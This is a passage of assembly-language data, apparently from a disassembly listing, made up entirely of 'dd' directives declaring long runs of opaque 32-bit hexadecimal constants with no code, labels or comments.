		dd 23B3EE0Eh, 0C2213E7Ch, 0A5D67B9Eh, 0B6413504h, 0FF698F84h
		dd 24C741DFh, 80DCBB7Dh, 25A2962Ah, 0D0F41D47h,	2BE0295Bh
		dd 58E4B282h, 3404FFCAh, 0FCFCE1Eh, 1D82D95Eh, 7B16D791h
		dd 0B00697B6h, 0F39B3080h, 0AC015F0Ah, 104AE8B0h, 0EDE0473Bh
		dd 0E00569B1h, 579794C0h, 27956FA6h, 9D519189h,	72A26C35h
		dd 3762FC58h, 0CABBFEAh, 382B8507h, 0F2E483A5h,	9503A108h
		dd 4D3DEA29h, 1B412265h, 4BD2A01Eh, 0B35654C1h,	2E40C937h
		dd 69BF7BCh, 15DE6515h,	4B4A98D7h, 6A19F511h, 0D52AD178h
		dd 8CD586D6h, 55684A01h, 0FF603776h, 31E98A89h,	3C695B38h
		dd 6DE05B0Fh, 1CA8BA74h, 5639CEDCh, 0A10F0DF0h,	5E8F7F74h
		dd 0A1D28BA8h, 785F6880h, 104039Ch, 6E0A9F6Dh, 640C768h
		dd 8261BDB4h, 0FE73D813h, 7B455515h, 0D74781ABh, 72B2BBB3h
		dd 6365FC30h, 3F15E9F3h, 6F61D9E9h, 9FC3694Dh, 70D1E666h
		dd 0DC420F3Fh, 71C5B161h, 0F5A06943h, 0E605817Ah, 7260FF47h
		dd 0B00683C2h, 3E16289Bh, 18841723h, 52515F0Eh,	1F740729h
		dd 0E9C62CD9h, 5EFF3663h, 0DA102A2Dh, 0A68B5A3Dh, 0A2338E05h
		dd 0C920927h, 729E049Fh, 0B98EFB27h, 0A3969816h, 0FC1F76F5h
		dd 8E88ED69h, 43C95777h, 0EF44FCDEh, 84C05CAAh,	5F8A1391h
		dd 0DCC5B95Ch, 64904228h, 5B1861E9h, 3D3CC8DCh,	8ED0D775h
		dd 85A91DAAh, 4DD399CFh, 72F9C54Ah, 684D899Dh, 71CBD5A5h
		dd 99FB1AD9h, 0D3B6E7B0h, 34EA4E3h, 3ECCC6EEh, 891E4A1Ch
		dd 0D9BCCD34h, 0A7BC47F1h, 455F6182h, 8F1EC2C3h, 0FEF1F108h
		dd 2E096636h, 0E8EED7FBh, 3EDA6CA6h, 801CFEF3h,	9FD70B95h
		dd 731E733Fh, 0EB7AEC40h, 7C11C454h, 37E36338h,	6011FD6Fh
		dd 59C33869h, 0A317A367h, 62CDFC8Ah, 0E5AA9341h, 0E89D39C1h
		dd 78CC9ABCh, 3A27281Dh, 93C542A2h, 0CF579D71h,	399A3BC1h
		dd 0A2DA21B4h, 6788E7D9h, 53347574h, 0C1C277EAh, 30D52F1Bh
		dd 0C1B88224h, 2F105415h, 0E668C43Fh, 99323867h, 3B68B941h
		dd 91EC5E30h, 66FC461Fh, 0A9F15103h, 0F5A5B356h, 42379CFFh
		dd 0CA4DB986h, 64B5B73Ah, 3478ACD3h, 90EA4450h,	0B4612CBBh
		dd 7AEDF85Eh, 8EC94093h, 0CFB4D567h, 14EA3803h,	0D4F04BEh
		dd 9FD58082h, 39985175h, 0C260C1F0h, 0B26F97A6h, 57008324h
		dd 8A149D65h, 7EF4A3F4h, 0A051EA9h, 26D86D7Ch, 898701CBh
		dd 25BEAAF4h, 0AA3FE43h, 23C27802h, 0F5399E92h,	1326639Fh
		dd 0EAC157E2h, 0C0BAB9C6h, 37034985h, 5B450157h, 4D76B923h
		dd 0C1A74EB3h, 0B114D139h, 4B8BA092h, 0E90CD020h, 2F441371h
		dd 3D848C80h, 7BBD5FC9h, 9803B946h, 95EFCFCh, 0F36708DDh
		dd 0E13125BEh, 74262CBDh, 39E8FCEBh, 0ADAF1881h, 0A80A09D6h
		dd 4411235Eh, 9D31D22Eh, 0CBAAEAF9h, 7E3E3423h,	25518AF0h
		dd 929EEED2h, 95332539h, 331F3EB7h, 0AA5DB24Bh,	3169092Ah
		dd 0C1A68570h, 4A563B97h, 0AD884887h, 0EDA20D5Dh, 79250778h
		dd 14ACA865h, 0D6850780h, 4B8700DFh, 8AA1332Fh,	0CA23B22Ch
		dd 0A298628Eh, 0D8B0ADB2h, 0EC2251ADh, 87781CECh, 507BFE69h
		dd 249568B6h, 5D67A3BAh, 587BED48h, 9064CC01h, 0E1FE2513h
		dd 83665032h, 0D5311E7Eh, 0FB392D7Dh, 0E1DBE937h, 5580AA09h
		dd 0BCA87BB6h, 363CF21Ah, 1DC1E1F3h, 0E9E626BBh, 5907D822h
		dd 27EB5673h, 0AB07C404h, 35A51038h, 4860FC82h,	9A127B41h
		dd 3044863Eh, 7C258B50h, 0FDB79E4Bh, 0F7707E0Fh, 6F35272Dh
		dd 3449B602h, 817F2FAFh, 0A5152D4h, 278A4F9Dh, 2B7202Bh
		dd 0A57BCDC6h, 53993572h, 4CB34A84h, 1074DCDCh,	3DB60150h
		dd 138EA507h, 15238506h, 20FAAF5Ch, 30322E97h, 891E505Dh
		dd 7641FAAh, 471D17D8h,	71BA1AAAh, 0FC91FE41h, 556DF3ADh
		dd 712E4F6Ah, 0C8897904h, 156C86BFh, 3E58C485h,	5CA9ADB2h
		dd 18F5E705h, 98E5A329h, 0F0E7817h, 7DB82418h, 6EA9CD4Dh
		dd 5371CE82h, 2C0B4410h, 0DA008AACh, 9E7ADAC0h,	0B22F83F2h
		dd 554A1822h, 0F0C9328h, 242E261h, 0FF0DF657h, 5D3243A7h
		dd 9ADB003Ah, 0EFCBC7BBh, 5A4689E6h, 334069C8h,	757074F2h
		dd 4FF85E35h, 0B802B208h, 151AEE9Ch, 59BDF459h,	0F851CC86h
		dd 0F87A6971h, 0D42B1C01h, 32577019h, 9FA30926h, 0BD215E82h
		dd 0C0D3503Ch, 1B3BD89Ah, 361E9B21h, 0E8DB6A8Dh, 0F5E48BEh
		dd 0B4EEE63Bh, 9B62F656h, 20F5203Ch, 0EDD84178h, 0AA59A2C5h
		dd 536A1586h, 2994A4D4h, 6CA9AB8Ah, 53C80857h, 21AFB865h
		dd 3A3815F9h, 4D635A6Ah, 3D80D59Ch, 59EC2BB4h, 70F8A982h
		dd 8AC4EDBCh, 0E269684Dh, 67B6C917h, 0B74FE7E6h, 6D8408F2h
		dd 18A873FEh, 25E41F17h, 2CFAF0E6h, 0E73B9DF8h,	3ADD028Ah
		dd 0C15C118Eh, 0A0B3FE45h, 69AAAFAh, 0DE7E654Eh, 0FBD877F1h
		dd 60C990F1h, 47CAA9D5h, 575D8C7Bh, 0B0DA79C2h,	0B210B3E9h
		dd 92BD9151h, 95C09DC8h, 84CBC7E8h, 0E34815FCh,	73912080h
		dd 0AA937BD3h, 0DE1A0D41h, 0F66F8A4h, 635FDCAEh, 599F8160h
		dd 93D27BABh, 0DFBA7F54h, 8A52C725h, 1FDC8C97h,	0EAB47CF4h
		dd 4BC66588h, 591818E5h, 0A4D3E2FCh, 0FA7E85C0h, 0BEEC4FD4h
		dd 0D5CFB624h, 8A98F201h, 59731CCEh, 3327A136h,	0CA8627E1h
		dd 876073F3h, 7B960B33h, 6AA69F82h, 691E6B9Bh, 525F3164h
		dd 5907E839h, 0C0145802h, 68566698h, 611C5F93h,	0EFAAC925h
		dd 0C6BE5666h, 0E1053AEFh, 41ADAB54h, 4AD0A2D0h, 1B6B4367h
		dd 46C36143h, 0B1C305B5h, 723447D9h, 0EAB932EDh, 1AD820F0h
		dd 272C5B8h, 4AF0F7C5h,	4EF29D77h, 2444A943h, 49DAFEE9h
		dd 44A8B723h, 7A23B364h, 6A192C8Eh, 855F3234h, 0C9176DEh
		dd 0FCC43289h, 0BA46BD85h, 0C8666533h, 0AF15D2Ah, 8859D382h
		dd 94EBF56h, 0FB3EBF25h, 5FE8002h, 14B53001h, 38EF87DEh
		dd 1516098Ch, 35EDAAA8h, 65E0E8A3h, 0FC407FAFh,	0D27E357Dh
		dd 0F42CC745h, 0A576DFF1h, 4749B4AFh, 0EE8042B5h, 0ED20C4E2h
		dd 7CFDFAA4h, 9F18C8B1h, 9BC6D586h, 0BC86EB2h, 0B7BBB6DEh
		dd 0E7EC1A34h, 4B3F60D4h, 0A9F1BB47h, 79E0658Eh, 118FCDFAh
		dd 94268028h, 0AFD055ABh, 769464E6h, 7A0CB8ECh,	0D944CACEh
		dd 4BD5102Eh, 1F6E024Fh, 9E501D17h, 193754ECh, 0FDA5865Ch
		dd 0CF6637EFh, 9379D0D3h, 6F230AEEh, 0CAC2E205h, 0A517E197h
		dd 0E47AD59Bh, 0A22AC9D6h, 5EB56BFBh, 40A515A6h, 0A7032A5Fh
		dd 27BFD7FFh, 0B8F1B8CBh, 0A8D8D625h, 8D62B8A8h, 2D2A67B5h
		dd 2F82789Ch, 4098BF6Bh, 2BF70DE8h, 0CF57965Ch,	580B728Eh
		dd 5468DC71h, 0FDF1A289h, 0AF48B861h, 0AB283E6Bh, 9DE96451h
		dd 867E240Dh, 0BB2FA735h, 831C9190h, 54E59A76h,	3243211Fh
		dd 0C5BE3867h, 0A3F60DF1h, 0AFBD3C3Dh, 51D77983h, 0D83162D0h
		dd 0F8B500FEh, 6BB839FDh, 1E91A4F7h, 496A62Ch, 4330D4B7h
		dd 0C656C4E7h, 5BE15A4Eh, 83769632h, 4AD59C41h,	0E974F2h
		dd 600F8E93h, 0C0AC9177h, 3BDB32FFh, 3D6DAFC3h,	826C31CAh
		dd 0DA3CB319h, 7BA325E7h, 0A5C56722h, 8DE55126h, 3B981FC9h
		dd 4EF350EEh, 33A4E4B7h, 0AF35294Bh, 2C876C28h,	0F5FA4EE7h
		dd 1BB102D0h, 37B69EBh
		dd 0CB52C900h, 9B37E9E4h, 386841E3h, 47D6C154h,	0E4F303E3h
		dd 2D0A8905h, 1A7CB5DDh, 283A6B81h, 4F88F21Eh, 4E44A8CDh
		dd 9FABD88Fh, 0D8F47320h, 9033D972h, 0FD02B88h,	0EB8C7843h
		dd 2AE578E0h, 0A9737C4Fh, 75326AC1h, 7ECE4DB1h,	52DA4175h
		dd 26CF012h, 0E6D4E02Ch, 0E9BEF3A4h, 0DE8CE0AFh, 0D4E51DA5h
		dd 0A7BC71E8h, 74776332h, 0F7FC8679h, 2756F9C8h, 0B85662CBh
		dd 7339E529h, 3BF3B01Dh, 6FB55145h, 0F72F50DEh,	0DCC3C827h
		dd 5ACD52B2h, 0E5E878E6h, 0EF380926h, 40F88307h, 40A3B92Dh
		dd 989F61ECh, 0D76B4B22h, 60A075E5h, 0FAEBD72Fh, 9A5542C0h
		dd 723E3920h, 0A7BE070Bh, 0BF4CF2FCh, 68CA73E6h, 0AEDF3CB0h
		dd 0F0232211h, 8814ADE8h, 0EE06AF5Fh, 0B2EEC6E6h, 95DF8EE7h
		dd 0F7E433D9h, 0B6EA3BAAh, 7F2536F8h, 74AE509Ch, 1C910B9Ah
		dd 0AA6FDF33h, 92059295h, 56FE2720h, 79617247h,	1F05A163h
		dd 3841B651h, 0C1201DE0h, 29005728h, 99B0ACD6h,	0A0B7FAC5h
		dd 0B6A7A76Ch, 1706ACFBh, 0E71E06CEh, 77528737h, 0EC583C3Ch
		dd 5E32C1ADh, 0A6D9C39Ah, 11F351B7h, 860A68B1h,	0EB72A125h
		dd 0D8EA067Eh, 0ECD0184Dh, 0CC208F91h, 13ABB739h, 9A0612C3h
		dd 0E0F31E7Ah, 486BE6CCh, 0EF8FB73Eh, 0B394BB86h, 3A108AC4h
		dd 560FB53Dh, 0D316866Fh, 0B77C0511h, 8CA7AD4Ch, 0F9954DFEh
		dd 13FAE19Bh, 0CA502B79h, 843D33A0h, 0E29833E2h, 111A603Dh
		dd 794A85D2h, 9848492Dh, 59748E50h, 53C31D86h, 3DAE60A2h
		dd 3C5CC346h, 7FFF0389h, 0A7F4379Dh, 3AEA918Eh,	29BDE150h
		dd 7EAAD98Bh, 0E7998F1Ch, 0F043E2E3h, 758693C6h, 726BEA73h
		dd 577931Bh, 0AE9D3D57h, 0AFBF5D91h, 0A66E4D4Bh, 60B6BF93h
		dd 0E124B0B5h, 50E53ACDh, 0DF013E2Ah, 0F2385C61h, 117B50B4h
		dd 8158178Bh, 0C8E07636h, 0E69C47FCh, 7DE38893h, 1E257607h
		dd 0C06619E3h, 0B8659BD9h, 898A6ECFh, 0E6903605h, 0E120D376h
		dd 63A0425Eh, 0F0D3201Bh, 81EEF14Bh, 754807C2h,	0C17FD7DDh
		dd 49D005AFh, 344CF7EDh, 5F36ECAEh, 8C66945Ch, 0CA3D19AAh
		dd 0A492984Eh, 4915EBD3h, 0A3927204h, 0B6FCC513h, 871FF515h
		dd 982B78A5h, 362D5934h, 5A65E4CCh, 3842D634h, 44BF3622h
		dd 3DAE46ACh, 0F44C7678h, 3B77E3E8h, 3F8EC3D0h,	5620266Ah
		dd 0E9057856h, 2C3FEDCDh, 2504AECCh, 8DB1D437h,	54661F6Fh
		dd 0DF3C96AAh, 0B47C74E2h, 0EFD47E29h, 75D9DD96h, 9B1762A0h
		dd 516C2875h, 7DCBD696h, 5647E986h, 0D7852B17h,	3EBD054Bh
		dd 8910A2F4h, 8D6ED90Ch, 0B7A51902h, 7A488511h,	7B470F57h
		dd 76F1D04Dh, 0A12C44EBh, 629E917Ch, 0BAD2C533h, 6435640Bh
		dd 661F3A43h, 0B6CF08C3h, 4782E97h, 208DED6Fh, 0A2562609h
		dd 0BABC8415h, 34E5F54Bh, 73E00DE9h, 310AFA7Ch,	0EE8FED2Eh
		dd 0BE71B269h, 0EF430FA8h, 0AA4B822Ch, 0C80F3019h, 43D74F0Eh
		dd 3C4F3C85h, 2FA47172h, 0A2348F5Fh, 7BA6A030h,	0EBA7098Fh
		dd 0A55C172Dh, 48056B1Fh, 198878C1h, 29987EF2h,	0CDD58C27h
		dd 2436A7B4h, 0C257A34Dh, 70A3C243h, 0E27E38D5h, 0EE447E42h
		dd 87B77F04h, 95F50FB1h, 0EA823E0Bh, 1D1D860Eh,	0AC263B7Bh
		dd 1529B497h, 2653142Ah, 44F408CFh, 7BD52125h, 1811A610h
		dd 29FE0ABEh, 0AD72B4D2h, 4E50F5CBh, 5BE0DBD7h,	0E54A364Ah
		dd 8A0E9DE7h, 0A054EF57h, 0CDD1DD47h, 0C38CE69Bh, 4E485876h
		dd 8C8D7CC1h, 0A426A839h, 63AE4A29h, 66FA7C86h,	248B8D8Dh
		dd 0E09DC322h, 0CFEC20C3h, 0A4F01348h, 87A880AEh, 502F30FAh
		dd 3A203C56h, 0E2838Ah,	0FBCD0AF5h, 860B5F5Bh, 2FC3A0B6h
		dd 45803C78h, 0F8389337h, 8A11B126h, 29674D4Ah,	0D3AC2F15h
		dd 0ECFF259Dh, 0EB6BE512h, 0F54EFC4Ch, 23F9E1F2h, 6ACDEB7Bh
		dd 0F34BEEB2h, 0ECDCA9EEh, 0C2A0AA6Eh, 0B7F0AED9h, 0DFCBC4BDh
		dd 361DCF0Bh, 5AA1F168h, 9137D39Fh, 0C9CC7C2h, 3D0334E0h
		dd 1D38E06Ah, 9C9E8CC5h, 0C6E0C186h, 0AD480C09h, 4984BC4Bh
		dd 7107A25Eh, 0AD70DAEFh, 0ABBDF18Fh, 8E59CB2h,	62A35CD3h
		dd 9BE643A8h, 0FFC8CA1Fh, 0BDEA9B9Ch, 158EE043h, 0D6212DE6h
		dd 4485DA83h, 2D55F990h, 7A7BED1Fh, 0D1E34577h,	68A0ED78h
		dd 558990EDh, 0A894A70Bh, 0E80F1360h, 0F703B5Ch, 523F1591h
		dd 0D1279534h, 5E5F13BEh, 3233A192h, 17DC30A9h,	981821C1h
		dd 12675372h, 0BB69B63Ah, 0DC71962h, 0B1983B9h,	0A2BCC5Fh
		dd 9E9EF34h, 117EBD3h, 85E5B2F3h, 0EB25200Eh, 29052334h
		dd 0CCF47DBBh, 0C888AE4Bh, 9D110550h, 7AD7F9E2h, 83A49B9Dh
		dd 34CC8571h, 0E5A370DCh, 58F54A0h, 0C3534AD5h,	0A3531D89h
		dd 0DB6A1638h, 8E088090h, 0A34BC10Dh, 436E926Fh, 82D099B4h
		dd 0E52B073Dh, 0FABEF185h, 4EDD208h, 166F98E3h,	0B024B407h
		dd 0E30D66C3h, 0D5EB66F2h, 0AC5CB8BAh, 7676CB33h, 127C75BFh
		dd 0D81DF3D9h, 0E5DF5ACAh, 7A0E8979h, 601319A8h, 9AAD5040h
		dd 76C95D48h, 0B306856Dh, 0B564834h, 0A78E647Ch, 0F4017D60h
		dd 0D8189FD1h, 42C1B55Fh, 9BB9B57Dh, 94B0468h, 0F483CC95h
		dd 73F70930h, 0D124AD83h, 0D6676AC4h, 9653558Eh, 0A9CDAB46h
		dd 50F8B79Ch, 0C0AEBB36h, 4163E063h, 0CE2CD40Dh, 7B5B626Eh
		dd 0A7FCB3A1h, 5F24D039h, 0BF42C12Bh, 9DE1251Fh, 0DB80A601h
		dd 0B1A9896Dh, 0DCCDBF08h, 899C4181h, 952CDAD3h, 0CD8B081Dh
		dd 0E45B0BCBh, 166B70F6h, 0E0BE27CFh, 0C34FF46Fh, 0A125AD82h
		dd 0AE67CC8h, 5CF99CEDh, 9E62BF8Bh, 81C2A365h, 0A2B6881Fh
		dd 18EE4CADh, 6A84747Dh, 0CDCE5456h, 0F5B3819Fh, 3E098637h
		dd 0F91E219h, 75EFCC11h, 0A21F9C02h, 0AA9314F9h, 9F0EC6F9h
		dd 614A3036h, 0C01328D9h, 0FAC236DDh, 0EBB0C09Ch, 0E986C539h
		dd 5ADA09Bh, 3F20E6DAh,	702BD9DEh, 0CA79ED1Ch, 92D3D41Bh
		dd 68A7C586h, 73D9183h,	0B2D4DEB2h, 505AC239h, 448C8A25h
		dd 0BF6C2993h, 63F5E3CDh, 31595CDFh, 23519D10h,	0DEA3A001h
		dd 12CBC2F0h, 7052C43Ah, 649AFB85h, 652D25AAh, 21FC054Eh
		dd 64B5C9E2h, 0B6C28932h, 4488A6Bh, 1DEC00CAh, 0A0A683C8h
		dd 0D4AF07A5h, 0E85CDAC6h, 0F0EA33CFh, 600EAF8h, 0F825FB82h
		dd 5ECEBB7Ch, 5264ABE7h, 0B1A21DF0h, 5AD37331h,	0E44D91A0h
		dd 1F789DAAh, 0A1472F2Dh, 0FDC2E3CAh, 7C934CACh, 0EDEBEB99h
		dd 0F0BFC498h, 3B41AB78h, 717BD9C3h, 0CA605103h, 275593FCh
		dd 0C06AE9FFh, 0F0076861h, 2C700527h, 345EB307h, 85AD4C87h
		dd 3CB14D32h, 0DEB908C4h, 0ACDB680Ah, 6E4E3CE5h, 99C65A1Ch
		dd 3772E2C4h, 81F73D08h, 0E005CD12h, 5F786024h,	44BCB847h
		dd 5CBB569Ah, 6BA50FCh,	66AAE1F1h, 1FA3469h, 73EB8A8Bh
		dd 0CC0E58C8h, 57749C8Fh, 0AD12918Dh, 4BCC7795h, 2086CD0Bh
		dd 9A0CD4A1h, 2207378Ch, 74D9E51Fh, 0B031DA2Eh,	6706F3D9h
		dd 231165D7h, 3FBED6ACh, 4FD9EB14h, 9734F603h, 1EAE50D3h
		dd 723360EBh, 0C9B28D5h, 0CD988B20h, 2D577591h,	0F519AFB4h
		dd 26ABA79Ah, 65E469A7h, 0A0EDD54h, 836D2F6Eh, 926F281Fh
		dd 7CE0EA43h, 4629CCEAh, 3A233793h, 98A3C2F8h, 0FE87DBB8h
		dd 765D24Dh, 96CBDCFFh,	602127B6h, 64948BB6h, 4C410695h
		dd 98908DD1h, 17FB4BEBh, 3C03CA1Ch, 3A54823Fh, 85FFE981h
		dd 575817C7h, 820DF878h, 0AD63B0D9h, 68E8EA50h,	0EBD95FB4h
		dd 0EF92E527h, 868D4F0Eh, 0D2F74A17h, 0F41742F4h, 0D457683Bh
		dd 97CF5820h, 461A765Ah
		dd 13E66823h, 20947643h, 0D47E23F2h, 946F202Ah,	9D62728h
		dd 43F8A399h, 46E4BCA6h, 7A879297h, 182CD042h, 0AB5974C0h
		dd 4E5F7782h, 0A9FD28C9h, 45090CD6h, 0B639C6A3h, 0FE537C14h
		dd 428D5931h, 8BFA3A06h, 95AEE8BEh, 52580A3Dh, 956A2042h
		dd 8188FD9h, 0B0585A03h, 0F378CDA9h, 0BE6182Eh,	0A0D8F5FDh
		dd 7879314Dh, 0EC7A62E7h, 9354EF40h, 0F5715E1Dh, 738CE1Dh
		dd 3A97D03Dh, 0CC4E6FE4h, 4DF293E3h, 23B3BD9Fh,	34ABC88Eh
		dd 8075D7C7h, 27217B41h, 27D7C105h, 8E08BA2Eh, 0B2E2B394h
		dd 0B5FA7924h, 49E62F3h, 0B25E04C1h, 716781A9h,	0C0D9E14Eh
		dd 0A36F74A1h, 7AB8734Bh, 0DAB01FC0h, 0CD1D28B4h, 0C0AD7808h
		dd 0B63EC1E2h, 0C2C4915Fh, 8BA5EC40h, 0BC10A746h, 38C0824h
		dd 16A73802h, 0E595988Ah, 0DF1331BAh, 0BA7C0B0Fh, 1E725197h
		dd 106E3C8Dh, 0B8FE617Ah, 87B158FEh, 0FB34666Eh, 42E04F36h
		dd 24AE77F3h, 0D81AC0D0h, 7B0F2209h, 4D211A43h,	99B3A018h
		dd 0B8438A22h, 23FD4AD7h, 928C337Bh, 0AC2164D3h, 26272E95h
		dd 0BBAD9697h, 844BB03Ch, 0BD4309Bh, 41F1990Fh,	77C72051h
		dd 10D83FB9h, 9344D4CEh, 167FD32Fh, 8FC9F408h, 0E18C621Bh
		dd 0F002AF60h, 40542396h, 5148CCE5h, 63E7DEE7h,	0E55E0CBh
		dd 0A5DE7F4Bh, 730F4516h, 21C0FE7Bh, 6DC1868Dh,	1FB08318h
		dd 0AB827E6Eh, 4F0AF06h, 894BFC8Fh, 3BC14A18h, 7AF19221h
		dd 5320F20Eh, 21EC27F5h, 5E2C9031h, 0E9D22CBBh,	0E8BB431Fh
		dd 55A3AB8Dh, 38FBEDB3h, 0B1F8C4C8h, 237B3868h,	0FDE5E68Bh
		dd 35AFF821h, 9527545h,	0C11358E9h, 339CB44Dh, 2CCB9B59h
		dd 155E717Bh, 27BE0C38h, 619C91Dh, 7C773FF4h, 8C818715h
		dd 6F77CF14h, 0C24A60Bh, 1F1EBB47h, 9222CE08h, 8BF69429h
		dd 0DEBB2E6Bh, 0AC243166h, 0A54D1F38h, 222236C6h, 3F6169C2h
		dd 1BA9BD6Bh, 9611C4F8h, 544E2431h, 6CB9FCD2h, 125760DDh
		dd 0EEA1C167h, 87D97165h, 97E3FA05h, 0DFBE254Ah, 0D9B07CC4h
		dd 851CDBC9h, 5DDA33B0h, 0AE1576F5h, 5E85EB44h,	0EF232431h
		dd 5A7D82C1h, 0D51B573Dh, 2485CC04h, 8B0BF3DBh,	646FAF02h
		dd 0CBCF5E87h, 753CAADDh, 323F414Fh, 0E59885E5h, 26161D1Bh
		dd 153B5F0Dh, 893330F0h, 183C7FFEh, 174A8F99h, 57344604h
		dd 0D98C4D6Ch, 0CA279993h, 1A1F83EAh, 2AB2AB27h, 54149E21h
		dd 69216E85h, 0C807E86Ch, 36E150C5h, 7017CADFh,	0D5CC690Ch
		dd 0ED4E64FEh, 10DAD835h, 2DBF8B73h, 0D59445B9h, 0E507B580h
		dd 98B88A2Bh, 0CD2D823h, 0AD30B7DAh, 4E9075AAh,	0F2646C2Eh
		dd 0D7814D3Bh, 433B01FCh, 0E3CEAFB2h, 0BBAD375Fh, 0E890F086h
		dd 6DBD4DDDh, 70A13173h, 0DD87BA30h, 0B7DCC0DAh, 29D763B5h
		dd 245E8C97h, 90DD24F3h, 57D67E22h, 0A92472D5h,	0A50B479Dh
		dd 0FF689D9Fh, 0C281E2Fh, 91A20544h, 54F1A1EDh,	0B4DA765Ch
		dd 0B48E317Bh, 0E11E6330h, 0D14D97AEh, 3F23D7E5h, 0C592877h
		dd 440D37A2h, 0B7155715h, 0CEC6E45Bh, 0B7B830F0h, 0E0249BCBh
		dd 0B8B4E79Fh, 54370B1Eh, 0E50DAB91h, 595A9D09h, 0C1BEBE5Fh
		dd 800417C9h, 9967C418h, 3F5E1648h, 4BCF6355h, 0AF1979E1h
		dd 0B18E0CBFh, 8AC2FAACh, 9EA885D1h, 6FB1F57h, 48F4A3B0h
		dd 58A66C90h, 1369759Eh, 9FDF40F5h, 7154C3B9h, 9DF602C1h
		dd 29D1459Bh, 596BAEF5h, 82FB1D66h, 143CFEC3h, 0D8D166EFh
		dd 0E15D478h, 7CC48F44h, 0BA38B0C2h, 0A51EB5D6h, 0FB9ACAB2h
		dd 7771EF55h, 391FFF6Eh, 48C1FBE9h, 69D925C2h, 41495FF3h
		dd 0E6DF65CCh, 4EFA1784h, 74F07BF7h, 1340BB2Fh,	0B90FCDABh
		dd 78188174h, 35571682h, 8F067752h, 52E2A3BCh, 0B6B735AAh
		dd 47C4B248h, 13D222A5h, 0E6519D08h, 4D8FC632h,	0D0365B33h
		dd 7E44483Dh, 0EF1F717Ah, 4239F7DDh, 0AEFDB0F9h, 5CFEC0FAh
		dd 0A29EA205h, 46A7CFB2h, 2ADBB304h, 4F8CEE75h,	8135FFE7h
		dd 0B5B547B6h, 0C683F933h, 0B53D0458h, 76B8209Ah, 0AE337411h
		dd 6233A77Bh, 3BDC9CD3h, 0CCEA5849h, 20DB83A2h,	0EA4956B5h
		dd 0DDA31BCFh, 0B6778C47h, 2FE187AFh, 6F43B510h, 0A9E9711Dh
		dd 8687E802h, 63D43207h, 0C9F0759Ah, 0B94AEC71h, 53C2534Fh
		dd 98F9F5CAh, 4F6DB54Ch, 0FCE3BD76h, 48B652D9h,	15BE4136h
		dd 0BE0E6C92h, 0BFDFAAD1h, 7A4B20B8h, 89B2BDACh, 556B2188h
		dd 73B5C02Dh, 0F86FEEDFh, 332E5FB7h, 0E1D27705h, 5F379BF7h
		dd 8ACF79C0h, 3121C9F3h, 657EA0A4h, 0BE09DF7Ah,	6BE5D7F0h
		dd 784DF0AAh, 0FDBA97B8h, 8BC714ECh, 31BB8F54h,	6601B6F5h
		dd 0AE0B53Eh, 7D712FAAh, 3696838Bh, 70D3E3C7h, 15988F60h
		dd 42AC8560h, 0CBE1B5Bh, 0B8E5DC1Ch, 516D47EAh,	4F93F209h
		dd 0EC610143h, 238933B8h, 95B68247h, 0CD824053h, 0C703A645h
		dd 3F98B582h, 0C1BF8448h, 0EA5AF353h, 0FC4AE9CDh, 95329787h
		dd 0AC874E83h, 9B10DA1h, 0C3331459h, 84ADF5FAh,	0BDF7718Fh
		dd 0DF46E76h, 18431AB2h, 0DE7FE16Fh, 0C323FA69h, 72AF3F11h
		dd 57434058h, 0FBE0C93Bh, 6396F465h, 1DAED97Fh,	76F2193Ch
		dd 0D03AFFE9h, 6057DFCAh, 0E6567164h, 7F52C03h,	9475799Ah
		dd 2A7F187Ah, 0A45FA7BEh, 784C2AAAh, 1113B9Ah, 6717C433h
		dd 0C8D1FC01h, 0F704BEE7h, 0CBB29639h, 0E5585E78h, 8E560D8Ch
		dd 1B8F2461h, 0CF5C754h, 0E7E6508h, 0A68316BBh,	680C2B73h
		dd 90761A8Fh, 0A993EEBFh, 20CB1390h, 0CB19E8BCh, 19A37F74h
		dd 0EF0D4990h, 5D21C230h, 0B59E0A5Fh, 6316BE75h, 0EFE670CFh
		dd 8673F1D5h, 0E73DD849h, 381E44DCh, 0DAC30189h, 0C6B93DA2h
		dd 0FBC4842Bh, 0E5EA120Fh, 609B2C29h, 0F5AA440Eh, 0EBB63DADh
		dd 0E3B88B2Eh, 7B9F3728h, 2EDECAB5h, 4F0A3772h,	49197083h
		dd 0B1F82772h, 4310FC6Eh, 44B5BF26h, 8829C6EAh,	0A683D17Dh
		dd 17834820h, 0C14AB553h, 0E726F183h, 2BC2D7F4h, 2DDD4C45h
		dd 691826FBh, 0E61AEFFCh, 80D34903h, 7CB8D5FEh,	0E3F309C8h
		dd 49D3CB9Eh, 87F6A61Ah, 2BFF346Bh, 3F04C75Fh, 46DF83EFh
		dd 66C3BEDCh, 0E1F16720h, 0A54699CDh, 6B496DC0h, 91297BE5h
		dd 56BB4712h, 0FAB1E8CEh, 0CFE22061h, 14C71894h, 63DF70DFh
		dd 3C91A84Fh, 0B299D311h, 1E7CA357h, 562052D6h,	0E8A77DD0h
		dd 9BE8150Dh, 0DE348D64h, 0B1B6789Ch, 36D1B217h, 9E46DF9Bh
		dd 8D32772Ch, 49D8C69Ch, 89BD6AD0h, 0AA6AF4DBh,	0ABB15965h
		dd 0E336E21h, 9188AD70h, 6642DC89h, 0C80A37D9h,	632A7F27h
		dd 6CEF58C7h, 0AC3C1815h, 2A75AA27h, 0EB353BB7h, 1EE305BCh
		dd 888538B2h, 0A9BE7FB1h, 83DAD108h, 7B09D18Eh,	8C511D50h
		dd 0F856C767h, 1C1EF5E4h, 7AF6E518h, 79C4667Fh,	125F9C1Dh
		dd 3CDBE942h, 825E0BB0h, 2C132CDDh, 21FB9A6Bh, 7A353CB3h
		dd 7DEE4943h, 7E5FE90Eh, 0F36C7759h, 0F88D25E3h, 11FAFEEh
		dd 174C5E9Dh, 760A05D5h, 0BC5380FAh, 5E1E34A0h,	57DE84DDh
		dd 0F050BC8Dh, 6E681437h, 57D6AD9Ch, 1836FE7Bh,	7B004112h
		dd 0D2CF1FF0h, 6B51BD34h, 308A2E7Dh, 0BD7B4C6Dh, 8E28AC43h
		dd 0E10D671h, 9C550F02h, 981927F9h, 59BFE20h, 0F51DD465h
		dd 95EABA34h, 71244D63h, 37D43BFAh, 0BD50E01Dh,	4977B545h
		dd 0DC0F19EFh, 95183CCh, 0B54ACBF2h, 5319433Fh,	0ECF0F84Bh
		dd 7929A383h, 0F2A778Fh, 7657D8CCh, 7DFCAF53h, 3278017Fh
		dd 4A56A2E8h, 15DD85E9h, 0C142FE10h, 754CDF58h,	0B611D9EAh
		dd 0DBB31B56h, 0D664F14Ah
		dd 7D64FA06h, 6ACD29CAh, 92DEAA3Ah, 659E51Ch, 50569757h
